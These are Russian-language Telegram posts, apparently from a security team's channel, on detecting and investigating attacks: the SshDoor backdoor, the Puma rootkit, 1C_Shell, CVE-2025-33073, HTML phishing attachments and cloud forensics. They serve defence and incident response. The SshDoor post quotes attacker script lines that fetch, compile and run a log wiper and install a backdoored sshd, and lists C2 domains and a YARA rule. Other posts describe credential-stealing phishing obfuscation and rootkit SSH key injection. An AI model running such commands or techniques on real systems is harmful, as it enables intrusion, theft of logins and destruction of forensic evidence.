С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора SshDoor. В центре внимания подобных атак часто оказываются российские государственные учреждения.

Получив доступ к узлам жертв, атакующие запускают sh-скрипт Release.gz (скриншот 1), который помимо прочего скачивает зашифрованный OpenSSL файл main.jpg (скриншот 2).

file ./main.jpg
./main.jpg: openssl enc'd data with salted password


Команда для расшифровки файла:

openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS


Затем на скомпрометированном узле компилируется патченный sshd и перезапускается сервис sshd.

...
make -j4>> /dev/null &&
strip ssh sshd &&
make install
...
service sshd restart


Патченный sshd (скриншот 3) имеет ряд сходств с бэкдором SshDoor, который описывали в материалах Linux/SSHDoor.A Backdoored SSH daemon that steals passwords (2013 года) и Inside the Response of a Unique CARBANAK Intrusion (2017 года).

В целом функциональность обнаруженного нами SshDoor значительных изменений не претерпела. Бэкдор позволяет злоумышленнику получить скрытый доступ на скомпрометированный сервер по протоколу SSH c ключом или паролем, заданным в конфигурационном файле либо в коде самого бэкдора. Также бэкдор собирает и отправляет на удаленный сервер аутентификационные данные пользователей.

В материале Inside the Response of a Unique CARBANAK Intrusion данный образец исследователи связывали с APT-группой Carbanak, которая успешно атаковала банковские организации в 2015 году.

Также в арсенал атакующей группы входит утилита A D V A N C E D L O G W I P E R (ALW) (скриншот 4), которая компилируется на узле жертвы и удаляет из ряда журналов /var/log/* (скриншот 5) все записи, которые содержат IP-адрес атакующих ($YOUR_IP).

#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
$DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
PACKET_MANAGER=$PACKET_MANAGER" gcc";
$PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi


Примечательно, что команда RSA Global Incident Response в своем материале относит ALW также к деятельности группы Carbanak.

Файлы конфигурации:
/var/run/.options
/dev/shm/.options


C2:
cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org


MD5:
016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217


YARA:
rule SshDoor {
strings:
$spy1 = "SPY_PATH"
$spy2 = "SPY_PORT"
$spy3 = "SPY_HOST"
$spy4 = "spy_passwd"
$spy5 = "spy_master"
$spy6 = "spy_bc_addr"
$spy7 = "spy_buff"
$spy8 = "spy_addr"
$spy9 = "spy_buff_port"
$sshd = "usage: sshd"
condition:
uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}


Happy hunting!

#hunt #ti #ioc #yara #dfir #detect #unix #apt
@ptescalator
🔥278👍86👻1
🛡 Puma: как руткит обеспечивает тайный SSH-доступ через незаметную подмену ключей

Продолжая наш рассказ о деятельности группировки ExCobalt и ее новом инструменте — рутките Puma, представленном на киберфестивале PHDays, подробнее разберем одну из его наиболее изощренных и опасных техник — скрытую модификацию файла authorized_keys.

⚙️ Как это работает

LKM-руткит перехватывает системные вызовы open и openat, выполняемые процессом ssh, отслеживая обращения к файлу authorized_keys, расположенному в директории ~/.ssh/. Этот файл — основной механизм беспарольной аутентификации в OpenSSH. Если клиент предъявляет закрытый ключ, соответствующий одному из публичных ключей в этом файле, сервер считает пользователя подлинным, не запрашивает пароль и разрешает вход в систему.

При попытке процесса ssh прочитать этот файл руткит на лету модифицирует возвращаемое системой содержимое: к оригинальным данным добавляется публичный ключ, хранящийся в памяти руткита. При этом сам файл остается нетронутым: подмена выполняется исключительно в памяти ядра в момент вызова read.

Таким образом, в типичном сценарии атаки:

1. Злоумышленник инициирует SSH-соединение и пытаются авторизоваться с использованием собственного закрытого ключа.

2. Процесс sshd на машине считывает ключи из файла authorized_keys.

3. Руткит незаметно дописывает свой ключ к возвращаемому содержимому файла.

4. Процесс sshd воспринимает внедренный ключ как легитимный и разрешает доступ атакующему без запроса пароля.

5. В результате злоумышленник получает полноценный интерактивный доступ к скомпрометированной системе от имени любого пользователя и возможность выполнять произвольные команды.

Опасность такой техники высока, поскольку до момента выгрузки руткита из памяти системы даже полная смена пароля или полное отключение парольной аутентификации не помогут избавиться от угрозы, а содержимое файла на диске не изменится, что обеспечивает и высокую скрытность такой техники. Особо опасна ситуация, когда ключ внедряется в файл authorized_keys пользователя с правами root. В этом случае атакующие получают неограниченные привилегии и абсолютный контроль над скомпрометированной системой.

🔎 Как быстро обнаружить эту атаку

Для выявления скрытой модификации файла authorized_keys можно использовать следующий метод: сравнить содержимое файла, полученное при чтении через оригинальную утилиту /bin/cat, с содержимым, полученным при чтении той же утилитой, но переименованной в ssh. Дело в том, что Puma ориентируется на имя процесса перед модификацией содержимого файла authorized_keys, и при разнице в выводах можно уверенно утверждать, что в системе присутствует руткит.

Для автоматизации такого детекта предлагаем использовать скрипт, который мы оставили в комментариях.

Если при выполнении скрипта обнаруживаются расхождения в результатах чтения файла, это является однозначным признаком компрометации системы и требует немедленных мер реагирования:
ограничения SSH-доступа;
снятия дампа памяти;
обращения к специалистам по реагированию на инциденты ИБ.

#TI #Detect #APT #Malware
@ptescalator
🔥2620👌6💩4💯3
По следам 1C_Shell. Расследуем атаки с помощью журнала регистрации 🐾

В одном из предыдущих постов мы писали об обнаружении атак на систему «1С», в которых злоумышленники использовали инструмент 1C_shell. Он представляет собой внешнюю обработку, позволяющую запустить произвольный код на сервере «1С:Предприятие».

Подобные атаки интересны тем, что оставляют мало очевидных следов в скомпрометированных системах. В частности, тяжело определить источник атаки, особенно в условиях ротации журналов событий Windows.

Одним из артефактов, которые могут нам помочь в расследовании, является журнал регистрации.

💡 Журнал регистрации — механизм в системе «1С», предназначенный для логирования действия пользователей, в том числе начала и завершения сессий.

Чтобы просмотреть журнал регистрации, перейдем в конфигуратор и на вкладке «Администрирование» выберем соответствующий пункт (скриншот 1).

В журнале, помимо всего прочего, мы можем увидеть события начала и завершения пользовательских сеансов (скриншот 2). Таким образом, зная временной промежуток, в рамках которого происходила вредоносная активность, мы определим подозрительные сессии. В рамках этих сессий злоумышленники могли выполнять команды.

Файлы журнала регистрации в случае клиент-серверного варианта информационной базы по умолчанию хранятся в рабочей папке кластера:

C:\Program Files\1cv8\srvinfo\reg_****\****\1Cv8Log


Логи имеют необычный формат и плохо пригодны для ручного анализа. О формате можно почитать в статье «Инфостарт»: описание актуально для «1С:Предприятия» версий 8.1 и 8.2, но с тех пор формат изменился незначительно.

💡 Актуальная структура журнала регистрации описана в Руководстве администратора «1С:Предприятия» — однако доступ к документу ограничен.

Для того чтобы распарсить файлы журнала регистрации, можно воспользоваться встроенной консольной утилитой ibcmd, предназначенной для администрирования сервера «1С». Она входит в комплект, поставляемый при установке «1С:Предприятия», и, начиная с версии 8.3.25, имеет функциональность для обработки файлов журнала регистрации.

Утилита расположена в папке C:\Program Files\1cv8\<version>\bin. Папку можно скопировать и использовать на другом компьютере без необходимости устанавливать систему «1С».

Документацию утилиты также можно найти в Руководстве администратора.

Для того чтобы распарсить журнал регистрации и на выходе получить файл формата JSONL, можно использовать следующую команду:

ibcmd.exe eventlog export -f json --skip-root -o C:\<output_path> \output.jsonl C:\<path_to_1Cv8Log>


Пример выходной строки:

{"ApplicationName":"1CV8C","ApplicationPresentation":"Тонкий клиент","Comment":"","Computer":"DESKTOP-QBF9N0A","Connection":"25","Data":null,"DataPresentation":"","Date":"2025-06-02T17:38:31","Event":"_$Session$_.Start","EventPresentation":"Сеанс. Начало","Level":"Information","Metadata":"00000000-0000-0000-0000-000000000000","MetadataPresentation":"<Не определено 00000000-0000-0000-0000-000000000000>","Port":"1560","ServerName":"WIN-UB4CFT0Q9FN","Session":"1","SessionDataSeparation":null,"SessionDataSeparationPresentation":null,"SyncPort":"0","TransactionID":"","TransactionStatus":"NotApplicable","User":"071523a4-516f-4fce-ba4b-0d11ab7a1893","UserName":""}
{"ApplicationName":"1CV8C","ApplicationPresentation":"Тонкий клиент","Comment":"","Computer":"DESKTOP-QBF9N0A","Connection":"0","Data":null,"DataPresentation":"","Date":"2025-06-02T17:38:57","Event":"_$Session$_.Finish","EventPresentation":"Сеанс. Завершение","Level":"Information","Metadata":"00000000-0000-0000-0000-000000000000","MetadataPresentation":"<Не определено 00000000-0000-0000-0000-000000000000>","Port":"0","ServerName":"","Session":"1","SessionDataSeparation":null,"SessionDataSeparationPresentation":null,"SyncPort":"0","TransactionID":"","TransactionStatus":"NotApplicable","User":"071523a4-516f-4fce-ba4b-0d11ab7a1893","UserName":""}


#ir #detect #dfir #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29128😁3👍2
В дополнение к предыдущему посту хотим рассказать о некоторых других потенциальных способах детектирования выполнения вредоносного кода в системе «1С» 😳

• Во-первых, если информационная база опубликована на веб-сервере, злоумышленники могут получить к ней доступ и запустить шелл через веб-клиент (скриншот 1).

В таком случае мы можем найти в логах IIS полезную информацию, в частности — обращение к информационной базе и загрузку внешней обработки:

2025-06-17 13:15:20 192.168.80.130 GET /mybase/ - 80 - 192.168.80.129 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/137.0.0.0+Safari/537.36+Edg/137.0.0.0 - 200 0 0 2


2025-06-17 13:18:55 192.168.80.130 GET /mybase/ru/e1cib/logForm cmd=elements&formId=urn:form:ext:0:ce244e8a-6d30-4e49-a244-c6d80d2ea085@n=%22%D0%92%D0%BD%D0%B5%D1%88%D0%BD%D1%8F%D1%8F%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0.%D0%92%D0%BD%D0%B5%D1%88%D0%BD%D1%8F%D1%8F%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B01%22;v=%223bb1cd7e449b0540951594ef9f12fb6d00000000%22&altFormId=urn:form:ext:8:add30da0-7627-464c-b936-820f49ac3e75@n=%22%D0%92%D0%BD%D0%B5%D1%88%D0%BD%D1%8F%D1%8F%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0.%D0%92%D0%BD%D0%B5%D1%88%D0%BD%D1%8F%D1%8F%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B01%22;v=%223bb1cd7e449b0540951594ef9f12fb6d00000000%22&sysver=8.3.18.1208&confver=3bb1cd7e449b0540951594ef9f12fb6d00000000&rolesId=0&clang=ru 80 - 192.168.80.129 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/137.0.0.0+Safari/537.36+Edg/137.0.0.0 https://192.168.80.130/mybase/ru/ 200 0 0 37


После декодирования URL запроса выше мы получим строку, которая говорит о взаимодействии с внешней обработкой:
"ВнешняяОбработка.ВнешняяОбработка1";v="3bb1cd7e449b0540951594ef9f12fb6d00000000"

Другой способ обнаружить следы вредоносной активности — проанализировать процесс rphost.exe. В случае выполнения кода через 1C_shell в памяти процесса остаются фрагменты кода внешней обработки (скриншот 2).

Стоит отметить, что этот метод не принесет результата, если сервер или процесс rphost.exe будут перезапущены после выполнения вредоносного кода.

#ir #detect #dfir #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11👍7🤝73🔥3🙏1
В продолжение предыдущих публикаций рассказываем, как обнаруживать уязвимость CVE-2025-33073 🕵️‍♂️

1️⃣ Отслеживать DNS-запросы с Marshalled-суффиксом

В атаках Reflection Relay злоумышленник вынуждает службы выполнять DNS-запросы к поддельным именам с паттерном 1UWhRCA + 37–45 символов Base64. Записи вида srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com или localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com — индикаторы попытки Reflection Relay (NTLM, Kerberos).

• Что мониторить

Все DNS-запросы, где имя узла заканчивается на marshalled-часть (1UWhRCA + 37-45 символов Base64).

• События

Sysmon Event ID 22 (DNS-запросы на узлах).

События DNS-серверов, содержащие такие запросы.

2️⃣ Ловить LDAP-поиск с marshalled-суффиксом

Reflection Relay вызывает LDAP-запросы от атакуемого узла к контроллеру домена, в которых параметр name= содержит поддельное DNS-имя формата [имя_узла]1UWhRCA[Base64]. Это происходит при выполнении Relay-атаки обратно на жертву.

• Что мониторить:

Запросы LDAP, в которых параметр name= содержит конструкцию:
"[имя_хоста]1UWhRCA[символы Base64]"

• События:

Windows Security Event 1644 ("A search was performed in Active Directory") на контроллерах домена.

3️⃣ Знать механику CVE-2025-33073 и Coerce-атаки

Как работает уязвимость:

• Coerce-атаки (PetitPotam, PrinterBug) вынуждают жертву подключиться к поддельному DNS-имени.
• Windows ошибочно считает запрос локальным из-за marshalled-суффикса, отключая проверки NTLM и Kerberos.
• Это позволяет атакующему выполнить Relay сессии обратно на жертву для получения RCE с правами SYSTEM.

Примеры Coerce-атак:

• PetitPotam: принуждение через уязвимость в EFS RPC, заставляющее LSASS инициировать аутентификацию;
• PrinterBug: принудительная отправка NTLM-хешей через уязвимость в службе печати Windows (MS-RPRN).

4️⃣ Опираться на примеры сработавших правил корреляции

При реализации CVE-2025-33073 совместно с PetitPotam для дампа учетных данных сработали следующие правила корреляции:

• Coerce_Auth: правило обнаруживает Coerce-атаки на узел с целью перехвата хеша машинной учетной записи атакованного узла, а также пытается определить по названию используемого пайпа, какая техника атаки используется (netdfs = DFSCoerce; spoolss = PrinterBug; fssagentrpc = ShadowCoerce; efsrpc, lsarpc, samr, lsass, netlogon = PetitPotam; msftewds = WSPCoerce) и какой инструмент применяется.

• SVCCTL_Connection: правило обнаруживает подключение к именованному каналу svcctl, который ответственен за удаленное конфигурирование служб Windows на узлах через Service Control Manager, что может привести к выполнению произвольного кода;

Remote_Password_Dump: правило обнаруживает удаленный дамп паролей через обращение к именованному каналу WINREG.

5️⃣ Использовать примеры SIGMA-правил

Если у вас нет MaxPatrol SIEM, то вот вам пример простых SIGMA-правил:

Для Sysmon Event ID 22.

Для Windows Security Event 1644.

6️⃣ Использовать наши публичные Suricata-сигнатуры для обнаружения этой атаки

#detect #cve #win #sigma #rules
@ptescalator
🔥20👍109👏1
HTML-вложения как инструмент фишинга 🤑

Популярным инструментом у злоумышленников становится доставка HTML-подобных вложений электронных писем, содержащих различные техники открытия стороннего веб-контента, взаимодействия с ним и отправки сведений на сторонние серверы.

В этом посте разберем пару примеров HTML-подобных вложений, доставляемых с целью кражи учетных данных.

1️⃣ Первый фишинговый образец направлен на вызов методов, позволяющих при его открытии отобразить контент сторонней веб-страницы, с которой может провзаимодействовать получатель.

В начале JavaScript-кода (скриншот 1) определяются константы P и W, являющиеся ключом шифрования и зашифрованным текстом, а также функция дешифрования k. Полученные дешифрованные инструкции помещаются в константу Y и имеют вид, представленный на скриншоте 2.

Как можно понять по этим инструкциям, они создают элемент iframe, содержимое которого получено из фишингового URL-адреса (его значение закодировано в base64); также установлены CSS-стили, позволяющие полученному контенту занять всю доступную область экрана. Кроме того, в этих инструкциях видим вызов метода document.write для размещения полученного контента на вкладке браузера.

Пока что это просто набор текста. Отдельно остановимся на способе запуска инструкций из константы Y. Для этого из вложения вызывается следующая часть скрипта (скриншот 3).

При определении константы H создается ссылка на глобальный объект o, которым в JavaScript-коде является window. Вызов o[X]X просто закодировано слово Function) эквивалентен вызову у глобального объекта свойства Function, при передаче параметров в которое они будут исполнены как новые функции. Как мы видим далее по коду, в объект передаются декодированные инструкции из константы Y.

Чтобы дополнительно усложнить детектирование исполнения вредоносного кода скрипта, злоумышленники создают пустую функцию y, переопределяют для нее метод toString, дополняя его вызовом вышеупомянутого глобального объекта window. Далее выполняется строчка U = ${y}: y преобразуется в строку, вызывая переопеределенный toString, внутри которого уже запускается загрузка контента.

Подозрительные маркеры при анализе подобных образцов — переопределение стандартных методов (вроде toString); маппинг слов из числового массива через вызов функции fromCharCode (в константе X), а также определение длинных числовых и текстовых констант с дальнейшим определением функций по их декодированию.

2️⃣ Еще один заинтересовавший нас образец содержит интересные методы «антидебага», но о них чуть попозже. Он представляет собой форму ввода учетных данных для открытия заблюренного pdf-документа.

HTML-образец содержит два скрипта. Первый после простой валидации наличия email-адреса в поле ввода содержит POST-метод, отправляющий учетные данные на сторонний сервер (скриншот 4).

Как можем видеть, в качестве query-параметра у URL-ссылки есть количество попыток. Естественно, никакой аутентификации по введенным в форму данным не производится, они просто утекают по указанному адресу. При этом параметр attempt инкрементируется, и при третьей попытке ввести в форму какие-то данные производится перенаправление на легитимный веб-ресурс. Спасибо авторам за комментарии к коду, позволившие понять, что вообще происходит.

Второй скрипт, о котором мы упомянули ранее, имеет следующий вид, представленный на скриншоте 5.

Этот скрипт отслеживает вызов контекстного меню, нажатие клавиш с вызовом встроенного в браузер инструмента разработчика, а также попытки выделить, вырезать, копировать текст с подгружаемой страницы, открыть исходник файла и сохранить его в отдельный файл. Вероятно, по мнению злоумышленников, ограничение возможностей взаимодействия с загруженным интерфейсом скорее вынудит жертву ввести пароль в единственный доступный элемент на странице.

Помимо вызова POST-методов на незнакомые веб-ресурсы, внимание аналитика, по нашему мнению, может привлечь определение вот таких ограничивающих методов, запрещающих вызов дебаг-инструментов, а также дополнительное взаимодействие с интерфейсом страницы.

#phishing #detect #tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
23🔥17👍12
All Hackers Go To Cloud ☁️💻

В ходе расследования одного из инцидентов в полностью зашифрованной инфраструктуре мы выявили автономный веб-сервер с сайтом заказчика, не связанный напрямую с основной инфраструктурой, на котором был установлен хакерский туннель GSocket, с которого могли осуществляться атаки как на текущего заказчика, так и на другие российские компании.

Времени с момента установки туннеля прошло много, а из лог-файлов у нас только запись в логе auth, говорящая о том, что за пару минут до установки GSocket злоумышленник зашел в систему с учетной записью root, используя локальную консоль:

login[1206]: ROOT LOGIN  on '/dev/tty1'


💡 Cервер находился в инфраструктуре одного из российских провайдеров облачных сервисов на базе VMware Cloud Director.

Что можно запросить у провайдера и какие ценные данные для расследования можно получить? Давайте разбираться.

1. Лог-файлы доступа к веб-консоли управления vCloud. Обычно расположены в каталогах:

/opt/vmware/vcloud-director/logs
/opt/vmware/var/log/


Имеют имя YYYY_MM_DD.request.log и формат стандартного APACHE-лога (подробнее о лог-файлах можно почитать тут).

При их анализе можно получить идентификатор нужной нам ВМ (обычно имеет вид vm-xxxx-xxxx-xxxx-xxxxx-xxxxxxxxxxxx), IP-адрес запрашивающего клиента и его User-Agent.

Пример события:

[IP-Address] - - [11/Jan/2025:05:36:17 +0000] "GET https://vcloudsite.com/cloudapi/1.0.0/sessions/current HTTP/1.1" 200 309 "https://vcloudsite.com/tenant/org_162736/vdcs/bg85164f-8df3-4df8-ed78-gt489521657a/vapp/bg85164f-8df3-4df8-ed78-gt489521657a/vcd-vapp-vms/vm-8700-5797-076e-582e-a4a9-e82919a8864c/general" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 118


2. Лог-файлы событий (заданий), происходивших на нужной нам ВМ. Их можно выгрузить через интерфейс портала управления vCloud или запросить у провайдера по идентификатору ВМ (можно найти в свойствах ВМ на портале).

В этих логах нас интересует событие jobAcquireScreenTicket, которое фиксирует обращение пользователя к ВМ через веб-консоль управления (tenant portal):

https://vcloudsite.com/api/task/a983bdce-ee6f-4a7b-b36d-d079be22c7a8;a658adcd-dd5e-4d1d-b25d-d083be31c2a6;;;;2024-11-25T22:42:42.547Z;jobAcquireScreenTicket;https://vcloudsite.com/api/vApp/vm-8700-5797-076e-582e-a4a9-e82919a8864c;www-srv;vm;Acquired Screen Ticket of Virtual Machine www-srv(e3380056-ac0d-22a0-76d3-2888eeb8efb2);https://vcloudsite.com/api/org/8561881b-ef74-438b-a526-2e56473d0eb6;org_262549;user;;com.vmware.vcloud;2024-11-25T22:42:42.547Z;success;


3. Лог-файлы балансировщиков VMware NSX Edge Gateway, которые расположены перед гипервизором vCloud и распределяют запросы пользователей. В них также можно найти IP-адрес пользователя, запрашивающего доступ к консоли или порталу управления, сопоставив запросы с ключевыми словами GET / LOGIN / Tenant и время обращения к ВМ из логов выше.

Вот пример подобного события:

Nov 25 22:42:42 NSX-edge-2-0 loadbalancer[10058]: [default]: {ip-адрес} - - [25/Nov/2024:22:42:42 +0000] "GET /login?service=tenant:org_141783&redirectTo=%2Ftenant%2Forg_171438 HTTP/1.1" 302 182 "" "" 25165 801 "VCD-HTTPS~" "vcd-https" "a99vcd99" 0 0 5 0 5 ---- 6 5 0 0 0 0 0 "" ""


📌 В нашем кейсе с помощью сопоставления по временным меткам данных, полученных таким образом, удалось установить IP-адреса злоумышленников, с которых осуществлялся доступ в инфраструктуру.

Happy Investigating! 🛡

#DFIR #Tips #Detect
@ptescalator
🔥15👍1312